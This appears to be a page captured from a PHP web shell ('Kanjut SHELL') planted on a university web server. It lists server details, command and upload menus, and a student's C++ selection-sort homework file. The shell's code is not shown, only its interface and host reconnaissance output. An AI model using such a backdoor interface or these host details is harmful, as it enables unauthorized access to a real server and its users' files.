Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.125.240
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/vnlaughlin/../amjamgochian/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../amjamgochian/aad.cpp
//	for assignment 4
//	add selection sort
//	pg 137
//	ADT - lists: array of items with variable length
//	read strings from a file and put them in the list; then output the strings
//

#include <iostream>
using namespace std;

const int MAX = 50;

class List
{
	int data[MAX];		// use string in hw 4.
	int length;		
public:
	List() { length = 0;	}
	int Length()		// could put const here but don't have to.
	{	return length;	}
	void Insert(int item)
	{	data[length] = item;
		length ++;		// transformer insert.
	}
	void Print() const
	{	for(int i=0; i<length; i++)
			cout << data[i] << " ";
		cout << "\n";
	}
	// sequential search pg 139. - primary search method
	bool IsPresent(int item) const
	{	bool found = false;
		for(int i=0; i<length && !found; i++)
			if(data[i] == item) found = true;
		return found;
	}
	void SelectionSort_R()
	{	int temp;
		int passCount;
		int maxIndex;
		for(passCount=0; passCount<length-1; passCount ++)
		{	maxIndex = passCount;
			for(int k=passCount+1; k<length; k++)
			{	if(data[maxIndex] < data[k])
				maxIndex = k;
			}
			temp = data[maxIndex];		// swap.
			data[maxIndex] = data[passCount];
			data[passCount] = temp;
		}
	}
	void SelectionSort() 
	{
		int temp, passCount, minIndex;
		for(passCount=0; passCount<length-1; passCount++)
		{	minIndex = passCount;
			for(int k=passCount+1; k<length; k++)
			{	if( data[minIndex] > data[k] )	minIndex = k;	}
			temp = data[minIndex];
			data[minIndex] = data[passCount];
			data[passCount] = temp;
		}
	}



};

int main()
{
	List real;
	// read the data in pg 138.
	int z;
	cin >> z;

	while(cin)
	{
		real.Insert(z);
		cin >> z;
	}
	cout << "Before sort: ";
	real.Print();

	cout << "Ascending order - ";
	real.SelectionSort();
	real.Print();
	
	cout << "Descending order - ";
	real.SelectionSort_R();
	real.Print();

	return 0;
}

Stv3n404 - 2023